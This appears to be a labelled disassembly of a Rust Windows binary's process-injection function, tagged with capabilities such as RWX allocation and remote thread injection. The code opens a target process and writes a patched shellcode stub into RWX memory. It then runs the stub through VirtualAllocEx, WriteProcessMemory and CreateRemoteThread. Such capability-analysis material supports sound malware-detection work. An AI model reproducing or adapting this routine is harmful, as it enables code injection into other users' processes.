Function at 0x14000eb3f
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate process modules
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x538
mov r12, rcx
xor eax, eax
lea rcx, [rsp + 0xb8]
mov qword [rcx], rax
mov edx, 0xe9
mov qword [rcx + 8], rdx
lea r8, str.48_89_4C_24_08_48_89_54_24_10_4C_89_44_24_18_4C_89_4C_24_20_48_83_EC_38_48_B9_ED_FE_AD_DE_ED_FE_00_00_48_C7_C2_AD_DE_00_00_48_B8_AD_DE_ED_FE_AD_DE_00_00_FF_D0_48_83_C4_38_48_8B_4C_24_08_48_8B_54_24_10_4C_8B_44_24_18_4C_8B_4C_24_20_C3srclib.rs
mov qword [rcx + 0x10], r8
mov qword [rcx + 0x18], rdx
mov qword [rcx + 0x20], r8
add r8, rdx
mov qword [rcx + 0x28], r8
mov qword [rcx + 0x30], rax
mov word [rcx + 0x38], 1
call fcn.14000e201
test al, 1
je 0x14000ec53
mov esi, edx
mov al, byte [0x140131e68]
mov edx, 8
xor ecx, ecx
call fcn.14003dd50
test rax, rax
je 0x14000f4ca
mov rbx, rax
mov byte [rax], sil
lea rsi, [rsp + 0x60]
mov qword [rsi], 8
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], 1
movups xmm0, xmmword [rsp + 0xb8]
movups xmm1, xmmword [rsp + 0xc8]
movups xmm2, xmmword [rsp + 0xd8]
movups xmm3, xmmword [rsp + 0xe8]
lea r14, [rsp + 0x100]
movaps xmmword [r14 + 0x30], xmm3
movaps xmmword [r14 + 0x20], xmm2
movaps xmmword [r14 + 0x10], xmm1
movaps xmmword [r14], xmm0
mov r15d, 1
mov rcx, r14
call fcn.14000e201
test al, 1
je 0x14000ec65
mov edi, edx
cmp r15, qword [rsp + 0x60]
je 0x14000ec3b
mov byte [rbx + r15], dil
inc r15
mov qword [rsp + 0x70], r15
jmp 0x14000ec18
mov r8d, 1
mov rcx, rsi
mov rdx, r15
call fcn.1400ed72f
mov rbx, qword [rsp + 0x68]
jmp 0x14000ec2d
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
jmp 0x14000ec74
movups xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x50], rax
lea rsi, [rsp + 0x78]
mov dword [rsi], 0
mov rcx, r12
mov rdx, rsi
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rsi]
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
inc rax
cmp rax, 1
jbe 0x14000f469
lea rdx, [rsp + 0x7c]
mov dword [rdx], 0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x14000ee66
cmp dword [rsp + 0x7c], 0
jne 0x14000ee9a
mov edx, dword [rsp + 0x78]
lea rbp, str.User32.dll
mov qword [rsp + 0x80], rbp
mov qword [rsp + 0x88], 0xa
mov ecx, 0x18
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
inc rax
cmp rax, 1
jbe 0x14000f4d9
lea rdi, [rsp + 0x100]
mov r8d, 0x438
mov rcx, rdi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov dword [rdi], 0x438
mov rcx, rbx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
jne 0x14000ede1
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
mov edi, 0x535f4f4b
cmove ecx, edi
xor eax, eax
lea rdx, [rsp + 0x98]
mov qword [rdx], rax
mov dword [rdx + 8], ecx
lea rcx, [rsp + 0xf8]
mov qword [rcx], rdx
lea rdx, [rsp + 0xa8]
mov qword [rdx], rcx
lea rcx, [0x14000e5d8]
mov qword [rdx + 8], rcx
lea r8, [0x1400f18c0]
lea rcx, [rsp + 0xb8]
mov qword [rcx], r8
mov qword [rcx + 8], 2
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 1
call fcn.140031130
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14000f703
mov eax, dword [rsp + 0xa0]
test eax, eax
jne 0x14000f73b
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x58], r12
lea rdx, [rsp + 0x130]
lea rdi, [rsp + 0xb8]
mov r8d, 0x100
mov rcx, rdi
call fcn.14000e030
mov rdi, qword [rdi]
movabs rax, 0x8000000000000000
cmp rdi, rax
je 0x14000f598
mov rbx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
mov rcx, rbx
call fcn.14000e5e0
mov r13, rax
mov r14, rdx
test rdx, rdx
je 0x14000eebd
js 0x14000f6f2
mov al, byte [0x140131e68]
xor ecx, ecx
mov rdx, r14
call fcn.14003dd50
test rax, rax
je 0x14000f6f6
mov r15, rax
jmp 0x14000eec3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rax, str.IsWow64Process_error____n_b
lea rcx, [rsp + 0x100]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.140031130
cmp qword [rsp + 0x40], 0
je 0x14000eeb6
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x140131de8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
jmp 0x14000f3d2
mov r15d, 1
mov rcx, r15
mov rdx, r13
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
test rdi, rdi
je 0x14000eefa
mov rcx, qword [0x140131de8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbp, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
jmp 0x14000eeff
mov eax, 0xa
mov r13, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x38]
cmp r14, rax
jne 0x14000ef4f
xor eax, eax
cmp r14, rax
je 0x14000f0bf
mov cl, byte [r15 + rax]
mov dl, byte [rbp + rax]
inc rax
lea r8d, [rcx - 0x41]
cmp r8b, 0x1a
setb r8b
shl r8b, 5
lea r9d, [rdx - 0x41]
cmp r9b, 0x1a
setb r9b
shl r9b, 5
or r8b, cl
or r9b, dl
cmp r8b, r9b
je 0x14000ef10
xor eax, eax
mov qword [rsp + 0x90], rax
mov rcx, rdi
lea rdx, [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
je 0x14000f41c
mov r8d, 0x100
lea rcx, [rsp + 0xb8]
lea rdx, [rsp + 0x130]
call fcn.14000e030
mov r12, qword [rsp + 0xb8]
movabs rax, 0x8000000000000000
cmp r12, rax
je 0x14000f4be
mov rbx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
mov rcx, rbx
call fcn.14000e5e0
mov rdi, rax
mov rbp, rdx
test rdx, rdx
je 0x14000efef
js 0x14000f588
mov al, byte [0x140131e68]
xor ecx, ecx
mov rdx, rbp
call fcn.14003dd50
test rax, rax
je 0x14000f578
mov r13, rax
jmp 0x14000eff5
mov r13d, 1
mov rcx, r13
mov rdx, rdi
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
test r12, r12
je 0x14000f01a
mov rcx, qword [0x140131de8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp rbp, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x38]
jne 0x14000f06f
mov rax, qword [rsp + 0x80]
xor ecx, ecx
cmp rbp, rcx
je 0x14000f08f
mov dl, byte [r13 + rcx]
mov r8b, byte [rax + rcx]
inc rcx
lea r9d, [rdx - 0x41]
cmp r9b, 0x1a
setb r9b
shl r9b, 5
lea r10d, [r8 - 0x41]
cmp r10b, 0x1a
setb r10b
shl r10b, 5
or r9b, dl
or r10b, r8b
cmp r9b, r10b
je 0x14000f033
test rbp, rbp
je 0x14000ef59
mov rcx, qword [0x140131de8]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000ef59
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
setne dil
je 0x14000f0f2
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x38], rax
mov rbx, qword [rsp + 0x108]
mov r12, qword [rsp + 0x128]
jmp 0x14000f121
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14000f3e6
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x38], rax
mov rbx, qword [rsp + 0x108]
mov dil, 1
mov r12, qword [rsp + 0x128]
jmp 0x14000f13d
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx edx, ax
or edx, 0x80070000
test eax, eax
cmovle edx, eax
test edx, edx
mov ecx, 0x535f4f4b
cmovne ecx, edx
call fcn.14000e565
mov qword [rsp + 0x38], rax
lea rbx, [0x1400f1408]
test rbp, rbp
je 0x14000f138
mov rcx, qword [0x140131de8]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r13, qword [rsp + 0x58]
test r14, r14
je 0x14000f154
mov rcx, qword [0x140131de8]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
test dil, dil
je 0x14000f508
lea rdx, [0x1400f1758]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000f5bf
mov qword [rsp + 0x60], r13
mov dword [rsp + 0x98], select
mov qword [rsp + 0xb8], rax
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x21
jbe 0x14000f5cb
lea rax, [rsp + 0x68]
lea rbx, [rsp + 0x40]
mov qword [rbx + 0x10], 0x1a
mov rcx, qword [rbx + 8]
lea r8, [rcx + 0x1a]
add rdx, 0xffffffffffffffde
add rcx, 0x22
lea rdi, [rsp + 0x100]
mov qword [rdi], r8
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 0x22
mov qword [rdi + 0x20], rdx
lea rcx, [rsp + 0x60]
mov qword [rdi + 0x28], rcx
mov qword [rdi + 0x30], rax
mov rcx, rdi
call fcn.14000e9d8
mov rcx, rdi
call fcn.14000e983
mov rdx, qword [rbx + 0x10]
cmp rdx, 0x28
jbe 0x14000f5dc
lea rax, [rsp + 0x9c]
mov qword [rsp + 0x50], 0x25
mov rcx, qword [rsp + 0x48]
lea r8, [rcx + 0x25]
add rdx, 0xffffffffffffffd7
add rcx, 0x29
lea rdi, [rsp + 0x100]
mov qword [rdi], r8
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 0x29
mov qword [rdi + 0x20], rdx
lea rcx, [rsp + 0x98]
mov qword [rdi + 0x28], rcx
mov qword [rdi + 0x30], rax
mov rcx, rdi
call fcn.14000e9d8
mov rcx, rdi
call fcn.14000e983
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x32
jbe 0x14000f5ed
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x50], 0x2b
mov rcx, qword [rsp + 0x48]
lea r8, [rcx + 0x2b]
add rdx, 0xffffffffffffffcd
add rcx, 0x33
lea rdi, [rsp + 0x100]
mov qword [rdi], r8
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 0x33
mov qword [rdi + 0x20], rdx
lea rcx, [rsp + 0xb8]
mov qword [rdi + 0x28], rcx
mov qword [rdi + 0x30], rax
mov rcx, rdi
call fcn.14000e9d8
mov rcx, rdi
call fcn.14000e983
mov r8, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
xor ebx, ebx
mov rcx, rsi
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov r8, qword [rsp + 0x48]
mov r9, qword [rsp + 0x50]
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000f5fe
lea rax, [rsp + 0xa8]
mov dword [rax], ebx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
inc rax
cmp rax, 1
jbe 0x14000f53b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
mov rdx, rdi
xor r8d, r8d
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
je 0x14000f63b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14000f678
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14000f6b5
cmp qword [rsp + 0x40], 0
je 0x14000f3d0
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x140131de8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
add rsp, 0x538
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx edx, ax
or edx, 0x80070000
test eax, eax
cmovle edx, eax
test edx, edx
mov ecx, 0x535f4f4b
cmovne ecx, edx
call fcn.14000e565
mov qword [rsp + 0x38], rax
lea rbx, [0x1400f1408]
xor edi, edi
jmp 0x14000f13d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x14000f75e
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx edx, ax
or edx, 0x80070000
test eax, eax
cmovle edx, eax
test edx, edx
mov ecx, 0x535f4f4b
cmovne ecx, edx
call fcn.14000e565
mov qword [rsp + 0x38], rax
lea rbx, [0x1400f1408]
xor edi, edi
jmp 0x14000f138
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
mov eax, 0x535f4f4b
cmovne eax, ecx
lea r8, [rsp + 0x100]
mov qword [r8], 0
mov dword [r8 + 8], eax
lea rax, [0x1400f1718]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400f1538]
mov edx, 0x2b
call fcn.1400ec250
lea rax, [0x1400f18a8]
jmp 0x14000f59f
mov ecx, 1
mov edx, 8
call fcn.1400ebe50
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx edx, ax
or edx, 0x80070000
test eax, eax
cmovle edx, eax
test edx, edx
mov ecx, 0x535f4f4b
cmovne ecx, edx
call fcn.14000e565
mov qword [rsp + 0x38], rax
lea rbx, [0x1400f1408]
lea r8, [rsp + 0x100]
mov rax, qword [rsp + 0x38]
mov qword [r8], rax
mov qword [r8 + 8], rbx
lea rax, [0x1400f1740]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400f1598]
jmp 0x14000f4b4
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
mov eax, 0x535f4f4b
cmovne eax, ecx
lea r8, [rsp + 0x100]
mov qword [r8], 0
mov dword [r8 + 8], eax
lea rax, [0x1400f17a8]
jmp 0x14000f4a1
mov eax, 1
mov qword [rsp + 0x90], rax
mov r13, rbp
mov rcx, qword [rsp + 0x90]
mov rdx, r13
call fcn.1400ebe50
lea rax, [0x1400f1860]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400f1578]
lea r8, [rsp + 0xa8]
jmp 0x14000f4b4
lea rcx, [0x1400f1778]
call fcn.1400ec2e0
lea r8, str._rustc_129f3b9964af4d4a709d1383930ade12dfe7c081library_alloc_src_vecmod.rs
mov ecx, 0x22
call fcn.1400ebff0
lea r8, str._rustc_129f3b9964af4d4a709d1383930ade12dfe7c081library_alloc_src_vecmod.rs
mov ecx, 0x29
call fcn.1400ebff0
lea r8, str._rustc_129f3b9964af4d4a709d1383930ade12dfe7c081library_alloc_src_vecmod.rs
mov ecx, 0x33
call fcn.1400ebff0
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
mov eax, 0x535f4f4b
cmovne eax, ecx
lea r8, [rsp + 0x100]
mov qword [r8], 0
mov dword [r8 + 8], eax
lea rax, [0x1400f1790]
jmp 0x14000f4a1
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
mov eax, 0x535f4f4b
cmovne eax, ecx
lea r8, [rsp + 0x100]
mov qword [r8], 0
mov dword [r8 + 8], eax
lea rax, [0x1400f17c0]
jmp 0x14000f4a1
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
mov eax, 0x535f4f4b
cmovne eax, ecx
lea r8, [rsp + 0x100]
mov qword [r8], 0
mov dword [r8 + 8], eax
lea rax, [0x1400f17d8]
jmp 0x14000f4a1
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
mov eax, 0x535f4f4b
cmovne eax, ecx
lea r8, [rsp + 0x100]
mov qword [r8], 0
mov dword [r8 + 8], eax
lea rax, [0x1400f17f0]
jmp 0x14000f4a1
xor ecx, ecx
jmp 0x14000f6fb
mov ecx, 1
mov rdx, r14
call fcn.1400ebe50
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
cmove ecx, edi
lea r8, [rsp + 0xb8]
mov qword [r8], 0
mov dword [r8 + 8], ecx
lea rax, [0x1400f18e0]
jmp 0x14000f4a1
mov rcx, qword [rsp + 0x98]
lea r8, [rsp + 0xb8]
mov qword [r8], rcx
mov dword [r8 + 8], eax
lea rax, [0x1400f1848]
jmp 0x14000f4a1
lea rax, [rsp + 0x80]
lea rcx, [rsp + 0xa8]
mov qword [rcx], rax
lea rax, [0x14000f8ee]
mov qword [rcx + 8], rax
lea rax, [0x1400f1888]
lea rdx, [rsp + 0xb8]
mov qword [rdx], rax
mov qword [rdx + 8], 2
mov qword [rdx + 0x20], 0
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], 1
lea rcx, [rsp + 0x60]
call fcn.14000dc90
mov al, byte [0x140131e68]
mov edx, 0x18
xor ecx, ecx
call fcn.14003dd50
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x14000f7df
mov ecx, 8
mov edx, 0x18
call fcn.1400ebe70
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x38]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [rcx], xmm0
test r14, r14
je 0x14000f80c
mov rcx, qword [0x140131de8]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rbx, [0x1400f1480]
jmp 0x14000f508